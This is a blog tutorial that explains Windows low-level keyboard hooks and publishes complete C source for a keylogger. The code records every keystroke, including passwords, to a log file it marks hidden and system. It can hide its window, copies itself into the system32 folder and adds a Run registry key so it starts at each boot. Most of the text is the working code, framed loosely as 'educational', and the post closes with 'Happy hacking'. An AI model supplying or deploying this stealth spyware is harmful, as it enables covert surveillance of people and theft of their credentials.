Keylogger Tutorial

What is Keylogger?

Keylogger is a program which logs everything which we type on our keyboard. So everything you type including passwords,website name etc is saved in your PC.Advanced keylogger include following features:

• Capture every keystroke.
• Captures screenshots of our PC at regular interval.
• Send screenshots and logs via mail or ftp
• Runs in stealth mode and is not visible in the task bar, system tray, Task Manager, Windows Startup list etc.
• It will record the application that was in use that received the keystroke. and many other features etc.




Uses of Keylooger

• Monitor the activities of employee by employer.
• Used to monitor the surfing habit of children by parents.
• and many others…




Build your own Keylogger

Now, I will show you one of the way to build your own keylogger in C.
Prerequisite: You should know the basics of C Programming Language and Windows API.
Windows Hooking is one of the way to build your own keylogger.
Hooking mechanism permits us to intercept and alter the flow of messages in the OS before they reach the application.For different messages there are different types of hooks. For example, for keyboards message there is keyboard hook, for mouse message there is mouse hook etc. For complete list of different type of hook refer this link. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event.
We will use hooking on Keyboard to monitor keyboard activity so every time user press any key our function is notified about it.
First of all, we will understand this two different type of code used in keyboard hooking:

• Virtual Key Code
Virtual key code is the device independent code used by the operating system itself. For every key there is code associated with it e.g. VK_SHIFT(0×10) is the virtual key code for Shift key. Visit this link which shows the symbolic constant names, hexadecimal values, and mouse or keyboard equivalents for the virtual-key codes used by the system.
• Scan Code
Scan Code is hardware dependent code that identifies which key is pressed or released. This code differs from keyboard to keyboard.

When we press any key then it generate a scan code usually by keyboard device driver. OS translates this code to virtual key code which is normally used by programmer.
These are the Windows API used to build up a keylogger:

• Install a hook with the Windows API SetWindowsHookEx on keyboard.
SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc, hExe, 0); 1st Parameter idHook: WH_KEYBOARD_LL – Installs a hook procedure that monitors low-level keyboard input events. 2nd Parameter lpfn: LowLevelKeyboardProc – A pointer to the hook procedure which is called when any keyboar event occurs 3rd Parameter hMod: hExe – A handle to the DLL containing the hook procedure 4th Parameter dwThreadId: 0 – The hook procedure is associated with all existing threads running(System-wide)
• UnhookWindowsHookEx :Free system resources associated with the hook and removes a hook procedure
UnhookWindowsHookEx(hKeyHook); Parameter hhk: hKeyHook – A handle to the hook to be removed.
• GetAsyncKeyState : Determines whether a key is up or down at the time the function is called
GetAsyncKeyState(VK_SHIFT); Parameter:VK_SHIFT is virtual key code for shift key For more details visit this link
• GetKeyNameText: Retrieves a string that represents the name of a key.
GetKeyNameText(dwMsg,key,15); 1st Parameter dwMsg contains the scan code and Extended flag 2nd Parameter lpString: lpszName – The buffer that will receive the key name. 3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character If the function succeeds, a null-terminated string is copied into the specified buffer,
• CallNextHookEx: Passes the hook information to the next hook procedure
CallNextHookEx( NULL, nCode, wParam, lParam ); 1st Parameter hhk – Optional 2nd Parameter nCode – The next hook procedure uses this code to determine how to process the hook information. 3rd Parameter wParam – The wParam value passed to the current hook procedure. 4th Parameter lParam – The lParam value passed to the current hook procedure
• RegisterHotKey: Defines a system-wide hot key of Alt+Ctrl+9
RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0×39); 1st Parameter hWnd(optional) :NULL – A handle to the window that will receive hot key message generated by hot key. 2nd Parameter id:1 – The identifier of the hot key 3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL – The keys that must be pressed in combination with the key specified by the 4th parameter in order to generate the WM_HOTKEY message. 4th Parameter vk: 0×39(9) – The virtual-key code of 9




Algorithm

1. Create a thread that starts keylogger function.
2. Install system wide keyboard hook using SetWindowsHookEx.
3. Check the virtual key code from Keyboard structure and write the actual key in the file.
4. CallNextHookEx is called to pass the hook to another application.
5. Also register a hot key (Atl+Ctrl+9) to exit the keylooger.
6. Unhook the hook procedure to free the resources.

Please read the comments in the Code for better understanding.

Keylogger Code

^?Download Keylogeer.c

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#include <windows.h> #include <winuser.h> #include <stdio.h>   // function to check caps lock int isCapsLock() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0) return 1; else return 0; }   /* An application-defined callback function used with the SetWindowsHookEx function. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. 1st Parameter nCode - A code the hook procedure uses to determine how to process the message. 2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP. 3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure. */ LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { /* This structure contains information about a low-level keyboard input like virtual code, scan code, flags, time stamp and additional information associated with the message. */ KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam; FILE *file; char val[5]; DWORD dwMsg = 1; file=fopen("C:\\EventLog.log","a+"); switch (wParam) {   case WM_KEYDOWN: // When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes. { // Assign virtual key code to local variable DWORD vkCode = pKeyBoard->vkCode;   if ((vkCode>=39)&&(vkCode<=64)) // Keys 0-9 {   if (GetAsyncKeyState(VK_SHIFT)) // Check if shift key is down (fairly accurate) { switch (vkCode) // 0x30-0x39 is 0-9 respectively { case 0x30: fputs(")",file); break; case 0x31: fputs("!",file); break; case 0x32: fputs("@",file); break; case 0x33: fputs("#",file); break; case 0x34: fputs("$",file); break; case 0x35: fputs("%",file); break; case 0x36: fputs("^",file); break; case 0x37: fputs("&",file); break; case 0x38: fputs("*",file); break; case 0x39: fputs("(",file); break; } } else // If shift key is not down { sprintf(val,"%c",vkCode); fputs(val,file); } } else if ((vkCode>64)&&(vkCode<91)) // Keys a-z { /* The following is a complicated statement to check if the letters need to be switched to lowercase. Here is an explanation of why the exclusive or (XOR) must be used.   Shift Caps LowerCase UpperCase T T T F T F F T F T F T F F T F   The above truth table shows what case letters are typed in, based on the state of the shift and caps lock key combinations.   The UpperCase column is the same result as a logical XOR. However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!) Becuase, NOT(XOR) would give us the LowerCase column results.   There's your lesson in logic if you didn't understand the next statement. Hopefully that helped.   --Dan */ if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // Check if letters should be lowercase { vkCode+=32; // Un-capitalize letters } sprintf(val,"%c",vkCode); fputs(val,file); } else { switch (vkCode) // Check for other keys { case VK_SPACE: fputs(" ",file); break; case VK_LCONTROL: case VK_RCONTROL: fputs("[Ctrl]",file); break; case VK_LMENU: case VK_RMENU: fputs("[Alt]",file); break; case VK_INSERT: fputs("[Insert]",file); break; case VK_DELETE: fputs("[Del]",file); break; case VK_NUMPAD0: fputs("0",file); break; case VK_NUMPAD1: fputs("1",file); break; case VK_NUMPAD2: fputs("2",file); break; case VK_NUMPAD3: fputs("3",file); break; case VK_NUMPAD4: fputs("4",file); break; case VK_NUMPAD5: fputs("5",file); break; case VK_NUMPAD6: fputs("6",file); break; case VK_NUMPAD7: fputs("7",file); break; case VK_NUMPAD8: fputs("8",file); break; case VK_NUMPAD9: fputs("9",file); break; case VK_OEM_2: if (GetAsyncKeyState(VK_SHIFT)) fputs("?",file); else fputs("/",file); break; case VK_OEM_3: if (GetAsyncKeyState(VK_SHIFT)) fputs("~",file); else fputs("`",file); break; case VK_OEM_4: if(GetAsyncKeyState(VK_SHIFT)) fputs("{",file); else fputs("[",file); break; case VK_OEM_5: if(GetAsyncKeyState(VK_SHIFT)) fputs("|",file); else fputs("\\",file); break; case VK_OEM_6: if(GetAsyncKeyState(VK_SHIFT)) fputs("}",file); else fputs("]",file); break; case VK_OEM_7: if(GetAsyncKeyState(VK_SHIFT)) fputs("\\",file); else fputs("'",file); break; case VK_LSHIFT: case VK_RSHIFT: // do nothing; break; case 0xBC: //comma if(GetAsyncKeyState(VK_SHIFT)) fputs("<",file); else fputs(",",file); break; case 0xBE: //Period if(GetAsyncKeyState(VK_SHIFT)) fputs(">",file); else fputs(".",file); break; case 0xBA: //Semi Colon same as VK_OEM_1 if(GetAsyncKeyState(VK_SHIFT)) fputs(":",file); else fputs(";",file); break; case 0xBD: //Minus if(GetAsyncKeyState(VK_SHIFT)) fputs("_",file); else fputs("-",file); break; case 0xBB: //Equal if(GetAsyncKeyState(VK_SHIFT)) fputs("+",file); else fputs("=",file); break; default:   /* For More details refer this link http://msdn.microsoft.com/en-us/library/ms646267 As mentioned in document of GetKeyNameText http://msdn.microsoft.com/en-us/library/ms646300 Scon code is present in 16..23 bits therefor I shifted the code to correct position Same for Extended key flag */ dwMsg += pKeyBoard->scanCode << 16; dwMsg += pKeyBoard->flags << 24;   char key[16]; /* Retrieves a string that represents the name of a key. 1st Parameter dwMsg contains the scan code and Extended flag 2nd Parameter lpString: lpszName - The buffer that will receive the key name. 3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character If the function succeeds, a null-terminated string is copied into the specified buffer, and the return value is the length of the string, in characters, not counting the terminating null character. If the function fails, the return value is zero. */ GetKeyNameText(dwMsg,key,15); fputs(key,file); } } } default:   fclose(file); /* Passes the hook information to the next hook procedure in the current hook chain. 1st Parameter hhk - Optional 2nd Parameter nCode - The next hook procedure uses this code to determine how to process the hook information. 3rd Parameter wParam - The wParam value passed to the current hook procedure. 4th Parameter lParam - The lParam value passed to the current hook procedure */ return CallNextHookEx( NULL, nCode, wParam, lParam ); } fclose(file); return 0; }   // Function called by main function to install hook DWORD WINAPI KeyLogger(LPVOID lpParameter) {   HHOOK hKeyHook; /* Retrieves a module handle for the specified module. parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file). If the function succeeds, the return value is a handle to the specified module. If the function fails, the return value is NULL. */ HINSTANCE hExe = GetModuleHandle(NULL);   if(hExe == NULL) { return 1; } else { /*Installs an application-defined hook procedure into a hook chain 1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure to be installed Installs a hook procedure that monitors low-level keyboard input events. 2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure. 3rd Parameter hMod: hExe - A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. 4th Parameter dwThreadId: 0 - the hook procedure is associated with all existing threads running If the function succeeds, the return value is the handle to the hook procedure. If the function fails, the return value is NULL. */ hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc, hExe, 0); /*Defines a system-wide hot key of alt+ctrl+9 1st Parameter hWnd(optional) :NULL - A handle to the window that will receive hot key message generated by hot key. 2nd Parameter id:1 - The identifier of the hot key 3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL - The keys that must be pressed in combination with the key specified by the uVirtKey parameter in order to generate the WM_HOTKEY message. 4th Parameter vk: 0x39(9) - The virtual-key code of the hot key */ RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);   MSG msg; // Message loop retrieves messages from the thread's message queue and dispatches them to the appropriate window procedures. // For more info http://msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop //Retrieves a message from the calling thread's message queue. while (GetMessage(&msg, NULL, 0, 0) != 0) { // if Hot key combination is pressed then exit if (msg.message == WM_HOTKEY) { UnhookWindowsHookEx(hKeyHook); return 0; } //Translates virtual-key messages into character messages. TranslateMessage(&msg); //Dispatches a message to a window procedure. DispatchMessage(&msg); }   /* To free system resources associated with the hook and removes a hook procedure installed in a hook chain Parameter hhk: hKeyHook - A handle to the hook to be removed. */ UnhookWindowsHookEx(hKeyHook); } return 0; }   int StartKeyLogging(char* argv[]) { HANDLE hThread; DWORD dwThread;   /* CreateThread function Creates a thread to execute within the virtual address space of the calling process. 1st Parameter lpThreadAttributes: NULL - Thread gets a default security descriptor. 2nd Parameter dwStackSize: 0 - The new thread uses the default size for the executable. 3rd Parameter lpStartAddress: KeyLogger - A pointer to the application-defined function to be executed by the thread 4th Parameter lpParameter: argv[0] - A pointer to a variable to be passed to the thread 5th Parameter dwCreationFlags: 0 - The thread runs immediately after creation. 6th Parameter pThreadId(out parameter): NULL - the thread identifier is not returned If the function succeeds, the return value is a handle to the new thread. */ hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, NULL);   if (hThread) { //Waits until the specified object is in the signaled state or the time-out interval elapses. return WaitForSingleObject(hThread,INFINITE); } // if it is Null then exit the main function else { return 1; } }

^?Download Main.c

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/* Name: Ayush Anand Website: http://www.secsavvy.com Date: 27/08/10 22:37 Description: Main logic of keylogger is taken from Myhook 1.2 beta Open Source Keylogger http://myhook.sourceforge.net/ I have added following features (or changes) * Log file attribute is set to hidden and system * Changed the code from C++ to C * Added a HotKey Alt+Ctrl+9 to exit the KeyLogger * Added Registry entry to auto start the keylogger every time computer boots For more details and explanation of code visit http://www.secsavvy.com Disclaimer: This program is for Educational Purpose. */   #include <windows.h> #include <stdio.h> #include<string.h> // If visble = 0 then Keylogger is hidden oe visible =1 then keylogger is visible const int VISIBLE = 1;   // Function to hide the window of keylogger void ToHide() { HWND stealth;   /* Retrieves a handle to the top-level window whose class name and window name match the specified strings. 1st Parmeter lpClassName: ConsoleWindowClass - Class Name 2nd Parameter lpWindowName: parameter is NULL, all window names match. If the function succeeds, the return value is a handle to the window that has the specified class name and window name. If the function fails, the return value is NULL. */ stealth=FindWindow("ConsoleWindowClass",NULL); ShowWindow(stealth,0); }   /* Its add registry entry to start the keylogger automatic every time computer boot */ void AutoStart() { FILE *file; file = fopen("C:\\EventLog.log","r"); //If file is not present then keylogger is run first time if(file==NULL) { file=fopen("C:\\EventLog.log","a+"); //Change the atribute of file to hidden and system type file system("attrib +h +s C:\\EventLog.log"); fclose(file); // Add the registry entry system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v EventLog /d %windir%\\system32\\KeyLogger.exe /f"); // Copy the exe to system32 directory system("copy /Y KeyLogger.exe %windir%\\system32"); } } int main(int argc, char* argv[]) {   if(VISIBLE == 0) ToHide(); AutoStart(); StartKeyLogging(argv);   }

Download the Keylogger source code from this link.
Note: I have used Dev C++ Compiler.

Fetaures

• Monitor you every keystroke
• Log file attribute is set to hidden and system
• Added a HotKey Alt+Ctrl+9 to exit the KeyLogger
• Added Registry entry to auto start the keylogger every time computer boots
• Log is saved in C:\EventLog.log

How to remove the keylogger??

Delete the KeyLogger.exe from C:\Windows\system32 and delete the registry entry EventLog from “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

Hope you enjoyed this post , feel free to comment……Happy hacking!!!!!
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